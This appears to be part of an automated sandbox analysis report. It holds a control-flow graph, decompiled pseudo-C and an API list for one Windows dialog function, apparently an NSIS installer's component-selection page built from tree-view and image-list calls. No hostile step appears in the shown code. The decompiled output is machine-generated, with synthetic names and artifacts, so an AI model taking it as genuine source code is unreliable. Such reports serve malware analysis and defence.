                                                                                                                control_flow_graph 143 404f06-404f52 GetDlgItem * 2 144 404f58-404ff0 GlobalAlloc LoadImageW SetWindowLongW ImageList_Create ImageList_AddMasked SendMessageW * 2 143->144 145 40517d-405184 143->145 148 404ff2-404ffd SendMessageW 144->148 149 404fff-405006 DeleteObject 144->149 146 405186-405196 145->146 147 405198 145->147 150 40519b-4051a4 146->150 147->150 148->149 151 405008-405010 149->151 152 4051a6-4051a9 150->152 153 4051af-4051b5 150->153 154 405012-405015 151->154 155 405039-40503d 151->155 152->153 156 405293-40529a 152->156 157 4051c4-4051cb 153->157 158 4051b7-4051be 153->158 159 405017 154->159 160 40501a-405037 call 40657a SendMessageW * 2 154->160 155->151 161 40503f-40506f call 404499 * 2 155->161 166 40530b-405313 156->166 167 40529c-4052a2 156->167 162 405240-405243 157->162 163 4051cd-4051d0 157->163 158->156 158->157 159->160 160->155 203 405075-40507b 161->203 204 40513f-405152 GetWindowLongW SetWindowLongW 161->204 162->156 168 405245-40524f 162->168 171 4051d2-4051d9 163->171 172 4051db-4051f0 call 404e54 163->172 169 405315-40531b SendMessageW 166->169 170 40531d-405324 166->170 175 4052a8-4052b2 167->175 176 4054fe-405510 call 404500 167->176 177 405251-40525d SendMessageW 168->177 178 40525f-405269 168->178 169->170 180 405326-40532d 170->180 181 405358-40535f 170->181 171->162 171->172 172->162 202 4051f2-405203 172->202 175->176 184 4052b8-4052c7 SendMessageW 175->184 177->178 178->156 186 40526b-405275 178->186 188 405336-40533d 180->188 189 40532f-405330 ImageList_Destroy 180->189 192 4054c0-4054c7 181->192 193 405365-405371 call 4011ef 181->193 184->176 185 4052cd-4052de SendMessageW 184->185 195 4052e0-4052e6 185->195 196 4052e8-4052ea 185->196 198 405286-405290 186->198 199 405277-405284 186->199 200 405346-405352 188->200 201 40533f-405340 GlobalFree 188->201 189->188 192->176 197 4054c9-4054d0 192->197 213 405381-405384 193->213 214 405373-405376 193->214 195->196 207 4052eb-405304 call 401299 SendMessageW 195->207 196->207 197->176 208 4054d2-4054fc ShowWindow GetDlgItem ShowWindow 197->208 198->156 199->156 200->181 201->200 202->162 210 405205-405207 202->210 205 40507e-405084 203->205 209 405158-40515b 204->209 211 405121-405134 205->211 212 40508a-4050b5 205->212 207->166 208->176 216 405175-405178 call 4044ce 209->216 217 40515d-405170 ShowWindow call 4044ce 209->217 218 405209-405210 210->218 219 40521a 210->219 211->205 226 40513a-40513d 211->226 220 4050f1-4050f3 212->220 221 4050b7-4050ef SendMessageW 212->221 227 4053c5-4053e9 call 4011ef 213->227 228 405386-40539f call 4012e2 call 401299 213->228 223 405378 214->223 224 405379-40537c call 404ed4 214->224 216->145 217->176 231 405212-405214 218->231 232 405216-405218 218->232 222 40521d-405239 call 40117d 219->222 235 4050f5-405107 SendMessageW 220->235 236 405109-40511e SendMessageW 220->236 221->211 222->162 223->224 224->213 226->204 226->209 243 40548b-405494 227->243 244 4053ef 227->244 253 4053a1-4053a7 228->253 254 4053af-4053be SendMessageW 228->254 231->222 232->222 235->211 236->211 248 4054a2-4054aa 243->248 249 405496-40549c InvalidateRect 243->249 246 4053f2-4053fd 244->246 250 405473-405485 246->250 251 4053ff-40540e 246->251 248->192 252 4054ac-4054bb call 404e27 call 404e0f 248->252 249->248 250->243 250->246 256 405410-40541d 251->256 257 405421-405424 251->257 252->192 258 4053a9 253->258 259 4053aa-4053ad 253->259 254->227 256->257 260 405426-405429 257->260 261 40542b-405434 257->261 258->259 259->253 259->254 264 405439-405471 SendMessageW * 2 260->264 261->264 265 405436 261->265 264->250 265->264
                                                                                                                C-Code - Quality: 96%
                                                                                                                			E00404F06(struct HWND__* _a4, int _a8, signed int _a12, int _a16) {
                                                                                                                				struct HWND__* _v8;
                                                                                                                				struct HWND__* _v12;
                                                                                                                				long _v16;
                                                                                                                				signed int _v20;
                                                                                                                				signed int _v24;
                                                                                                                				intOrPtr _v28;
                                                                                                                				signed char* _v32;
                                                                                                                				int _v36;
                                                                                                                				signed int _v44;
                                                                                                                				int _v48;
                                                                                                                				signed int* _v60;
                                                                                                                				signed char* _v64;
                                                                                                                				signed int _v68;
                                                                                                                				long _v72;
                                                                                                                				void* _v76;
                                                                                                                				intOrPtr _v80;
                                                                                                                				intOrPtr _v84;
                                                                                                                				void* _v88;
                                                                                                                				void* __ebx;
                                                                                                                				void* __edi;
                                                                                                                				void* __esi;
                                                                                                                				signed int _t198;
                                                                                                                				intOrPtr _t201;
                                                                                                                				long _t207;
                                                                                                                				signed int _t211;
                                                                                                                				signed int _t222;
                                                                                                                				void* _t225;
                                                                                                                				void* _t226;
                                                                                                                				int _t232;
                                                                                                                				long _t237;
                                                                                                                				long _t238;
                                                                                                                				signed int _t239;
                                                                                                                				signed int _t245;
                                                                                                                				signed int _t247;
                                                                                                                				signed char _t248;
                                                                                                                				signed char _t254;
                                                                                                                				void* _t258;
                                                                                                                				void* _t260;
                                                                                                                				signed char* _t278;
                                                                                                                				signed char _t279;
                                                                                                                				long _t281;
                                                                                                                				long _t284;
                                                                                                                				struct HWND__* _t291;
                                                                                                                				signed int* _t292;
                                                                                                                				int _t293;
                                                                                                                				long _t294;
                                                                                                                				signed int _t295;
                                                                                                                				void* _t297;
                                                                                                                				long _t298;
                                                                                                                				int _t299;
                                                                                                                				signed int _t300;
                                                                                                                				signed int _t303;
                                                                                                                				signed int _t311;
                                                                                                                				signed char* _t319;
                                                                                                                				int _t324;
                                                                                                                				void* _t326;
                                                                                                                
                                                                                                                				_t291 = _a4;
                                                                                                                				_v12 = GetDlgItem(_t291, 0x3f9);
                                                                                                                				_v8 = GetDlgItem(_t291, 0x408);
                                                                                                                				_t326 = SendMessageW;
                                                                                                                				_v24 =  *0x434f28;
                                                                                                                				_v28 =  *0x434f10 + 0x94;
                                                                                                                				if(_a8 != 0x110) {
                                                                                                                					L23:
                                                                                                                					if(_a8 != 0x405) {
                                                                                                                						_t301 = _a16;
                                                                                                                					} else {
                                                                                                                						_a12 = 0;
                                                                                                                						_t301 = 1;
                                                                                                                						_a8 = 0x40f;
                                                                                                                						_a16 = 1;
                                                                                                                					}
                                                                                                                					if(_a8 == 0x4e || _a8 == 0x413) {
                                                                                                                						_v16 = _t301;
                                                                                                                						if(_a8 == 0x413 ||  *((intOrPtr*)(_t301 + 4)) == 0x408) {
                                                                                                                							if(( *0x434f19 & 0x00000002) != 0) {
                                                                                                                								L41:
                                                                                                                								if(_v16 != 0) {
                                                                                                                									_t237 = _v16;
                                                                                                                									if( *((intOrPtr*)(_t237 + 8)) == 0xfffffe3d) {
                                                                                                                										SendMessageW(_v8, 0x419, 0,  *(_t237 + 0x5c)); // executed
                                                                                                                									}
                                                                                                                									_t238 = _v16;
                                                                                                                									if( *((intOrPtr*)(_t238 + 8)) == 0xfffffe39) {
                                                                                                                										_t301 = _v24;
                                                                                                                										_t239 =  *(_t238 + 0x5c);
                                                                                                                										if( *((intOrPtr*)(_t238 + 0xc)) != 2) {
                                                                                                                											 *(_t239 * 0x818 + _t301 + 8) =  *(_t239 * 0x818 + _t301 + 8) & 0xffffffdf;
                                                                                                                										} else {
                                                                                                                											 *(_t239 * 0x818 + _t301 + 8) =  *(_t239 * 0x818 + _t301 + 8) | 0x00000020;
                                                                                                                										}
                                                                                                                									}
                                                                                                                								}
                                                                                                                								goto L48;
                                                                                                                							}
                                                                                                                							if(_a8 == 0x413) {
                                                                                                                								L33:
                                                                                                                								_t301 = 0 | _a8 != 0x00000413;
                                                                                                                								_t245 = E00404E54(_v8, _a8 != 0x413);
                                                                                                                								_t295 = _t245;
                                                                                                                								if(_t295 >= 0) {
                                                                                                                									_t94 = _v24 + 8; // 0x8
                                                                                                                									_t301 = _t245 * 0x818 + _t94;
                                                                                                                									_t247 =  *_t301;
                                                                                                                									if((_t247 & 0x00000010) == 0) {
                                                                                                                										if((_t247 & 0x00000040) == 0) {
                                                                                                                											_t248 = _t247 ^ 0x00000001;
                                                                                                                										} else {
                                                                                                                											_t254 = _t247 ^ 0x00000080;
                                                                                                                											if(_t254 >= 0) {
                                                                                                                												_t248 = _t254 & 0x000000fe;
                                                                                                                											} else {
                                                                                                                												_t248 = _t254 | 0x00000001;
                                                                                                                											}
                                                                                                                										}
                                                                                                                										 *_t301 = _t248;
                                                                                                                										E0040117D(_t295);
                                                                                                                										_a12 = _t295 + 1;
                                                                                                                										_a16 =  !( *0x434f18) >> 0x00000008 & 0x00000001;
                                                                                                                										_a8 = 0x40f;
                                                                                                                									}
                                                                                                                								}
                                                                                                                								goto L41;
                                                                                                                							}
                                                                                                                							_t301 = _a16;
                                                                                                                							if( *((intOrPtr*)(_a16 + 8)) != 0xfffffffe) {
                                                                                                                								goto L41;
                                                                                                                							}
                                                                                                                							goto L33;
                                                                                                                						} else {
                                                                                                                							goto L48;
                                                                                                                						}
                                                                                                                					} else {
                                                                                                                						L48:
                                                                                                                						if(_a8 != 0x111) {
                                                                                                                							L56:
                                                                                                                							if(_a8 == 0x200) {
                                                                                                                								SendMessageW(_v8, 0x200, 0, 0);
                                                                                                                							}
                                                                                                                							if(_a8 == 0x40b) {
                                                                                                                								_t225 =  *0x42d24c;
                                                                                                                								if(_t225 != 0) {
                                                                                                                									ImageList_Destroy(_t225);
                                                                                                                								}
                                                                                                                								_t226 =  *0x42d260;
                                                                                                                								if(_t226 != 0) {
                                                                                                                									GlobalFree(_t226);
                                                                                                                								}
                                                                                                                								 *0x42d24c = 0;
                                                                                                                								 *0x42d260 = 0;
                                                                                                                								 *0x434f60 = 0;
                                                                                                                							}
                                                                                                                							if(_a8 != 0x40f) {
                                                                                                                								L90:
                                                                                                                								if(_a8 == 0x420 && ( *0x434f19 & 0x00000001) != 0) {
                                                                                                                									_t324 = (0 | _a16 == 0x00000020) << 3;
                                                                                                                									ShowWindow(_v8, _t324);
                                                                                                                									ShowWindow(GetDlgItem(_a4, 0x3fe), _t324);
                                                                                                                								}
                                                                                                                								goto L93;
                                                                                                                							} else {
                                                                                                                								E004011EF(_t301, 0, 0);
                                                                                                                								_t198 = _a12;
                                                                                                                								if(_t198 != 0) {
                                                                                                                									if(_t198 != 0xffffffff) {
                                                                                                                										_t198 = _t198 - 1;
                                                                                                                									}
                                                                                                                									_push(_t198);
                                                                                                                									_push(8);
                                                                                                                									E00404ED4();
                                                                                                                								}
                                                                                                                								if(_a16 == 0) {
                                                                                                                									L75:
                                                                                                                									E004011EF(_t301, 0, 0);
                                                                                                                									_v36 =  *0x42d260;
                                                                                                                									_t201 =  *0x434f28;
                                                                                                                									_v64 = 0xf030;
                                                                                                                									_v24 = 0;
                                                                                                                									if( *0x434f2c <= 0) {
                                                                                                                										L86:
                                                                                                                										if( *0x434fbe == 0x400) {
                                                                                                                											InvalidateRect(_v8, 0, 1);
                                                                                                                										}
                                                                                                                										if( *((intOrPtr*)( *0x433edc + 0x10)) != 0) {
                                                                                                                											E00404E0F(0x3ff, 0xfffffffb, E00404E27(5));
                                                                                                                										}
                                                                                                                										goto L90;
                                                                                                                									}
                                                                                                                									_t292 = _t201 + 8;
                                                                                                                									do {
                                                                                                                										_t207 =  *((intOrPtr*)(_v36 + _v24 * 4));
                                                                                                                										if(_t207 != 0) {
                                                                                                                											_t303 =  *_t292;
                                                                                                                											_v72 = _t207;
                                                                                                                											_v76 = 8;
                                                                                                                											if((_t303 & 0x00000001) != 0) {
                                                                                                                												_v76 = 9;
                                                                                                                												_v60 =  &(_t292[4]);
                                                                                                                												_t292[0] = _t292[0] & 0x000000fe;
                                                                                                                											}
                                                                                                                											if((_t303 & 0x00000040) == 0) {
                                                                                                                												_t211 = (_t303 & 0x00000001) + 1;
                                                                                                                												if((_t303 & 0x00000010) != 0) {
                                                                                                                													_t211 = _t211 + 3;
                                                                                                                												}
                                                                                                                											} else {
                                                                                                                												_t211 = 3;
                                                                                                                											}
                                                                                                                											_v68 = (_t211 << 0x0000000b | _t303 & 0x00000008) + (_t211 << 0x0000000b | _t303 & 0x00000008) | _t303 & 0x00000020;
                                                                                                                											SendMessageW(_v8, 0x1102, (_t303 >> 0x00000005 & 0x00000001) + 1, _v72);
                                                                                                                											SendMessageW(_v8, 0x113f, 0,  &_v76);
                                                                                                                										}
                                                                                                                										_v24 = _v24 + 1;
                                                                                                                										_t292 =  &(_t292[0x206]);
                                                                                                                									} while (_v24 <  *0x434f2c);
                                                                                                                									goto L86;
                                                                                                                								} else {
                                                                                                                									_t293 = E004012E2( *0x42d260);
                                                                                                                									E00401299(_t293);
                                                                                                                									_t222 = 0;
                                                                                                                									_t301 = 0;
                                                                                                                									if(_t293 <= 0) {
                                                                                                                										L74:
                                                                                                                										SendMessageW(_v12, 0x14e, _t301, 0);
                                                                                                                										_a16 = _t293;
                                                                                                                										_a8 = 0x420;
                                                                                                                										goto L75;
                                                                                                                									} else {
                                                                                                                										goto L71;
                                                                                                                									}
                                                                                                                									do {
                                                                                                                										L71:
                                                                                                                										if( *((intOrPtr*)(_v28 + _t222 * 4)) != 0) {
                                                                                                                											_t301 = _t301 + 1;
                                                                                                                										}
                                                                                                                										_t222 = _t222 + 1;
                                                                                                                									} while (_t222 < _t293);
                                                                                                                									goto L74;
                                                                                                                								}
                                                                                                                							}
                                                                                                                						}
                                                                                                                						if(_a12 != 0x3f9 || _a12 >> 0x10 != 1) {
                                                                                                                							goto L93;
                                                                                                                						} else {
                                                                                                                							_t232 = SendMessageW(_v12, 0x147, 0, 0);
                                                                                                                							if(_t232 == 0xffffffff) {
                                                                                                                								goto L93;
                                                                                                                							}
                                                                                                                							_t294 = SendMessageW(_v12, 0x150, _t232, 0);
                                                                                                                							if(_t294 == 0xffffffff ||  *((intOrPtr*)(_v28 + _t294 * 4)) == 0) {
                                                                                                                								_t294 = 0x20;
                                                                                                                							}
                                                                                                                							E00401299(_t294);
                                                                                                                							SendMessageW(_a4, 0x420, 0, _t294);
                                                                                                                							_a12 = _a12 | 0xffffffff;
                                                                                                                							_a16 = 0;
                                                                                                                							_a8 = 0x40f;
                                                                                                                							goto L56;
                                                                                                                						}
                                                                                                                					}
                                                                                                                				} else {
                                                                                                                					_v36 = 0;
                                                                                                                					_v20 = 2;
                                                                                                                					 *0x434f60 = _t291;
                                                                                                                					 *0x42d260 = GlobalAlloc(0x40,  *0x434f2c << 2);
                                                                                                                					_t258 = LoadImageW( *0x434f00, 0x6e, 0, 0, 0, 0);
                                                                                                                					 *0x42d254 =  *0x42d254 | 0xffffffff;
                                                                                                                					_t297 = _t258;
                                                                                                                					 *0x42d25c = SetWindowLongW(_v8, 0xfffffffc, E00405513);
                                                                                                                					_t260 = ImageList_Create(0x10, 0x10, 0x21, 6, 0);
                                                                                                                					 *0x42d24c = _t260;
                                                                                                                					ImageList_AddMasked(_t260, _t297, 0xff00ff);
                                                                                                                					SendMessageW(_v8, 0x1109, 2,  *0x42d24c);
                                                                                                                					if(SendMessageW(_v8, 0x111c, 0, 0) < 0x10) {
                                                                                                                						SendMessageW(_v8, 0x111b, 0x10, 0);
                                                                                                                					}
                                                                                                                					DeleteObject(_t297);
                                                                                                                					_t298 = 0;
                                                                                                                					do {
                                                                                                                						_t266 =  *((intOrPtr*)(_v28 + _t298 * 4));
                                                                                                                						if( *((intOrPtr*)(_v28 + _t298 * 4)) != 0) {
                                                                                                                							if(_t298 != 0x20) {
                                                                                                                								_v20 = 0;
                                                                                                                							}
                                                                                                                							SendMessageW(_v12, 0x151, SendMessageW(_v12, 0x143, 0, E0040657A(_t298, 0, _t326, 0, _t266)), _t298);
                                                                                                                						}
                                                                                                                						_t298 = _t298 + 1;
                                                                                                                					} while (_t298 < 0x21);
                                                                                                                					_t299 = _a16;
                                                                                                                					_push( *((intOrPtr*)(_t299 + 0x30 + _v20 * 4)));
                                                                                                                					_push(0x15);
                                                                                                                					E00404499(_a4);
                                                                                                                					_push( *((intOrPtr*)(_t299 + 0x34 + _v20 * 4)));
                                                                                                                					_push(0x16);
                                                                                                                					E00404499(_a4);
                                                                                                                					_t300 = 0;
                                                                                                                					_v16 = 0;
                                                                                                                					if( *0x434f2c <= 0) {
                                                                                                                						L19:
                                                                                                                						SetWindowLongW(_v8, 0xfffffff0, GetWindowLongW(_v8, 0xfffffff0) & 0x000000fb);
                                                                                                                						goto L20;
                                                                                                                					} else {
                                                                                                                						_t319 = _v24 + 8;
                                                                                                                						_v32 = _t319;
                                                                                                                						do {
                                                                                                                							_t278 =  &(_t319[0x10]);
                                                                                                                							if( *_t278 != 0) {
                                                                                                                								_v64 = _t278;
                                                                                                                								_t279 =  *_t319;
                                                                                                                								_v88 = _v16;
                                                                                                                								_t311 = 0x20;
                                                                                                                								_v84 = 0xffff0002;
                                                                                                                								_v80 = 0xd;
                                                                                                                								_v68 = _t311;
                                                                                                                								_v44 = _t300;
                                                                                                                								_v72 = _t279 & _t311;
                                                                                                                								if((_t279 & 0x00000002) == 0) {
                                                                                                                									if((_t279 & 0x00000004) == 0) {
                                                                                                                										_t281 = SendMessageW(_v8, 0x1132, 0,  &_v88); // executed
                                                                                                                										 *( *0x42d260 + _t300 * 4) = _t281;
                                                                                                                									} else {
                                                                                                                										_v16 = SendMessageW(_v8, 0x110a, 3, _v16);
                                                                                                                									}
                                                                                                                								} else {
                                                                                                                									_v80 = 0x4d;
                                                                                                                									_v48 = 1;
                                                                                                                									_t284 = SendMessageW(_v8, 0x1132, 0,  &_v88);
                                                                                                                									_v36 = 1;
                                                                                                                									 *( *0x42d260 + _t300 * 4) = _t284;
                                                                                                                									_v16 =  *( *0x42d260 + _t300 * 4);
                                                                                                                								}
                                                                                                                							}
                                                                                                                							_t300 = _t300 + 1;
                                                                                                                							_t319 =  &(_v32[0x818]);
                                                                                                                							_v32 = _t319;
                                                                                                                						} while (_t300 <  *0x434f2c);
                                                                                                                						if(_v36 != 0) {
                                                                                                                							L20:
                                                                                                                							if(_v20 != 0) {
                                                                                                                								E004044CE(_v8);
                                                                                                                								goto L23;
                                                                                                                							} else {
                                                                                                                								ShowWindow(_v12, 5);
                                                                                                                								E004044CE(_v12);
                                                                                                                								L93:
                                                                                                                								return E00404500(_a8, _a12, _a16);
                                                                                                                							}
                                                                                                                						}
                                                                                                                						goto L19;
                                                                                                                					}
                                                                                                                				}
                                                                                                                			}



























































                                                                                                                0x00404f0d
                                                                                                                0x00404f26
                                                                                                                0x00404f2b
                                                                                                                0x00404f33
                                                                                                                0x00404f39
                                                                                                                0x00404f4f
                                                                                                                0x00404f52
                                                                                                                0x0040517d
                                                                                                                0x00405184
                                                                                                                0x00405198
                                                                                                                0x00405186
                                                                                                                0x00405188
                                                                                                                0x0040518b
                                                                                                                0x0040518c
                                                                                                                0x00405193
                                                                                                                0x00405193
                                                                                                                0x004051a4
                                                                                                                0x004051b2
                                                                                                                0x004051b5
                                                                                                                0x004051cb
                                                                                                                0x00405240
                                                                                                                0x00405243
                                                                                                                0x00405245
                                                                                                                0x0040524f
                                                                                                                0x0040525d
                                                                                                                0x0040525d
                                                                                                                0x0040525f
                                                                                                                0x00405269
                                                                                                                0x0040526f
                                                                                                                0x00405272
                                                                                                                0x00405275
                                                                                                                0x00405290
                                                                                                                0x00405277
                                                                                                                0x00405281
                                                                                                                0x00405281
                                                                                                                0x00405275
                                                                                                                0x00405269
                                                                                                                0x00000000
                                                                                                                0x00405243
                                                                                                                0x004051d0
                                                                                                                0x004051db
                                                                                                                0x004051e0
                                                                                                                0x004051e7
                                                                                                                0x004051ec
                                                                                                                0x004051f0
                                                                                                                0x004051fb
                                                                                                                0x004051fb
                                                                                                                0x004051ff
                                                                                                                0x00405203
                                                                                                                0x00405207
                                                                                                                0x0040521a
                                                                                                                0x00405209
                                                                                                                0x00405209
                                                                                                                0x00405210
                                                                                                                0x00405216
                                                                                                                0x00405212
                                                                                                                0x00405212
                                                                                                                0x00405212
                                                                                                                0x00405210
                                                                                                                0x0040521e
                                                                                                                0x00405220
                                                                                                                0x00405233
                                                                                                                0x00405236
                                                                                                                0x00405239
                                                                                                                0x00405239
                                                                                                                0x00405203
                                                                                                                0x00000000
                                                                                                                0x004051f0
                                                                                                                0x004051d2
                                                                                                                0x004051d9
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00405293
                                                                                                                0x00405293
                                                                                                                0x0040529a
                                                                                                                0x0040530b
                                                                                                                0x00405313
                                                                                                                0x0040531b
                                                                                                                0x0040531b
                                                                                                                0x00405324
                                                                                                                0x00405326
                                                                                                                0x0040532d
                                                                                                                0x00405330
                                                                                                                0x00405330
                                                                                                                0x00405336
                                                                                                                0x0040533d
                                                                                                                0x00405340
                                                                                                                0x00405340
                                                                                                                0x00405346
                                                                                                                0x0040534c
                                                                                                                0x00405352
                                                                                                                0x00405352
                                                                                                                0x0040535f
                                                                                                                0x004054c0
                                                                                                                0x004054c7
                                                                                                                0x004054e4
                                                                                                                0x004054ea
                                                                                                                0x004054fc
                                                                                                                0x004054fc
                                                                                                                0x00000000
                                                                                                                0x00405365
                                                                                                                0x00405367
                                                                                                                0x0040536c
                                                                                                                0x00405371
                                                                                                                0x00405376
                                                                                                                0x00405378
                                                                                                                0x00405378
                                                                                                                0x00405379
                                                                                                                0x0040537a
                                                                                                                0x0040537c
                                                                                                                0x0040537c
                                                                                                                0x00405384
                                                                                                                0x004053c5
                                                                                                                0x004053c7
                                                                                                                0x004053d7
                                                                                                                0x004053da
                                                                                                                0x004053df
                                                                                                                0x004053e6
                                                                                                                0x004053e9
                                                                                                                0x0040548b
                                                                                                                0x00405494
                                                                                                                0x0040549c
                                                                                                                0x0040549c
                                                                                                                0x004054aa
                                                                                                                0x004054bb
                                                                                                                0x004054bb
                                                                                                                0x00000000
                                                                                                                0x004054aa
                                                                                                                0x004053ef
                                                                                                                0x004053f2
                                                                                                                0x004053f8
                                                                                                                0x004053fd
                                                                                                                0x004053ff
                                                                                                                0x00405401
                                                                                                                0x00405407
                                                                                                                0x0040540e
                                                                                                                0x00405413
                                                                                                                0x0040541a
                                                                                                                0x0040541d
                                                                                                                0x0040541d
                                                                                                                0x00405424
                                                                                                                0x00405430
                                                                                                                0x00405434
                                                                                                                0x00405436
                                                                                                                0x00405436
                                                                                                                0x00405426
                                                                                                                0x00405428
                                                                                                                0x00405428
                                                                                                                0x00405456
                                                                                                                0x00405462
                                                                                                                0x00405471
                                                                                                                0x00405471
                                                                                                                0x00405473
                                                                                                                0x00405476
                                                                                                                0x0040547f
                                                                                                                0x00000000
                                                                                                                0x00405386
                                                                                                                0x00405391
                                                                                                                0x00405394
                                                                                                                0x00405399
                                                                                                                0x0040539b
                                                                                                                0x0040539f
                                                                                                                0x004053af
                                                                                                                0x004053b9
                                                                                                                0x004053bb
                                                                                                                0x004053be
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x004053a1
                                                                                                                0x004053a1
                                                                                                                0x004053a7
                                                                                                                0x004053a9
                                                                                                                0x004053a9
                                                                                                                0x004053aa
                                                                                                                0x004053ab
                                                                                                                0x00000000
                                                                                                                0x004053a1
                                                                                                                0x00405384
                                                                                                                0x0040535f
                                                                                                                0x004052a2
                                                                                                                0x00000000
                                                                                                                0x004052b8
                                                                                                                0x004052c2
                                                                                                                0x004052c7
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x004052d9
                                                                                                                0x004052de
                                                                                                                0x004052ea
                                                                                                                0x004052ea
                                                                                                                0x004052ec
                                                                                                                0x004052fb
                                                                                                                0x004052fd
                                                                                                                0x00405301
                                                                                                                0x00405304
                                                                                                                0x00000000
                                                                                                                0x00405304
                                                                                                                0x004052a2
                                                                                                                0x00404f58
                                                                                                                0x00404f5d
                                                                                                                0x00404f66
                                                                                                                0x00404f6d
                                                                                                                0x00404f7f
                                                                                                                0x00404f8a
                                                                                                                0x00404f90
                                                                                                                0x00404f9e
                                                                                                                0x00404fb2
                                                                                                                0x00404fb7
                                                                                                                0x00404fc4
                                                                                                                0x00404fc9
                                                                                                                0x00404fdf
                                                                                                                0x00404ff0
                                                                                                                0x00404ffd
                                                                                                                0x00404ffd
                                                                                                                0x00405000
                                                                                                                0x00405006
                                                                                                                0x00405008
                                                                                                                0x0040500b
                                                                                                                0x00405010
                                                                                                                0x00405015
                                                                                                                0x00405017
                                                                                                                0x00405017
                                                                                                                0x00405037
                                                                                                                0x00405037
                                                                                                                0x00405039
                                                                                                                0x0040503a
                                                                                                                0x0040503f
                                                                                                                0x00405045
                                                                                                                0x00405049
                                                                                                                0x0040504e
                                                                                                                0x00405056
                                                                                                                0x0040505a
                                                                                                                0x0040505f
                                                                                                                0x00405064
                                                                                                                0x0040506c
                                                                                                                0x0040506f
                                                                                                                0x0040513f
                                                                                                                0x00405152
                                                                                                                0x00000000
                                                                                                                0x00405075
                                                                                                                0x00405078
                                                                                                                0x0040507b
                                                                                                                0x0040507e
                                                                                                                0x0040507e
                                                                                                                0x00405084
                                                                                                                0x0040508d
                                                                                                                0x00405090
                                                                                                                0x00405094
                                                                                                                0x00405097
                                                                                                                0x0040509a
                                                                                                                0x004050a3
                                                                                                                0x004050ac
                                                                                                                0x004050af
                                                                                                                0x004050b2
                                                                                                                0x004050b5
                                                                                                                0x004050f3
                                                                                                                0x00405116
                                                                                                                0x0040511e
                                                                                                                0x004050f5
                                                                                                                0x00405104
                                                                                                                0x00405104
                                                                                                                0x004050b7
                                                                                                                0x004050ba
                                                                                                                0x004050c8
                                                                                                                0x004050d2
                                                                                                                0x004050da
                                                                                                                0x004050e1
                                                                                                                0x004050ec
                                                                                                                0x004050ec
                                                                                                                0x004050b5
                                                                                                                0x00405124
                                                                                                                0x00405125
                                                                                                                0x00405131
                                                                                                                0x00405131
                                                                                                                0x0040513d
                                                                                                                0x00405158
                                                                                                                0x0040515b
                                                                                                                0x00405178
                                                                                                                0x00000000
                                                                                                                0x0040515d
                                                                                                                0x00405162
                                                                                                                0x0040516b
                                                                                                                0x004054fe
                                                                                                                0x00405510
                                                                                                                0x00405510
                                                                                                                0x0040515b
                                                                                                                0x00000000
                                                                                                                0x0040513d
                                                                                                                0x0040506f

                                                                                                                APIs
                                                                                                                • GetDlgItem.USER32(?,000003F9), ref: 00404F1E
                                                                                                                • GetDlgItem.USER32(?,00000408), ref: 00404F29
                                                                                                                • GlobalAlloc.KERNEL32(00000040,?), ref: 00404F73
                                                                                                                • LoadImageW.USER32(0000006E,00000000,00000000,00000000,00000000), ref: 00404F8A
                                                                                                                • SetWindowLongW.USER32(?,000000FC,00405513), ref: 00404FA3
                                                                                                                • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404FB7
                                                                                                                • ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404FC9
                                                                                                                • SendMessageW.USER32(?,00001109,00000002), ref: 00404FDF
                                                                                                                • SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404FEB
                                                                                                                • SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404FFD
                                                                                                                • DeleteObject.GDI32(00000000), ref: 00405000
                                                                                                                • SendMessageW.USER32(?,00000143,00000000,00000000), ref: 0040502B
                                                                                                                • SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00405037
                                                                                                                • SendMessageW.USER32(?,00001132,00000000,?), ref: 004050D2
                                                                                                                • SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00405102
                                                                                                                  • Part of subcall function 004044CE: SendMessageW.USER32(00000028,?,00000001,004042F9), ref: 004044DC
                                                                                                                • SendMessageW.USER32(?,00001132,00000000,?), ref: 00405116
                                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 00405144
                                                                                                                • SetWindowLongW.USER32(?,000000F0,00000000), ref: 00405152
                                                                                                                • ShowWindow.USER32(?,00000005), ref: 00405162
                                                                                                                • SendMessageW.USER32(?,00000419,00000000,?), ref: 0040525D
                                                                                                                • SendMessageW.USER32(?,00000147,00000000,00000000), ref: 004052C2
                                                                                                                • SendMessageW.USER32(?,00000150,00000000,00000000), ref: 004052D7
                                                                                                                • SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004052FB
                                                                                                                • SendMessageW.USER32(?,00000200,00000000,00000000), ref: 0040531B
                                                                                                                • ImageList_Destroy.COMCTL32(?), ref: 00405330
                                                                                                                • GlobalFree.KERNEL32(?), ref: 00405340
                                                                                                                • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004053B9
                                                                                                                • SendMessageW.USER32(?,00001102,?,?), ref: 00405462
                                                                                                                • SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405471
                                                                                                                • InvalidateRect.USER32(?,00000000,00000001), ref: 0040549C
                                                                                                                • ShowWindow.USER32(?,00000000), ref: 004054EA
                                                                                                                • GetDlgItem.USER32(?,000003FE), ref: 004054F5
                                                                                                                • ShowWindow.USER32(00000000), ref: 004054FC
                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
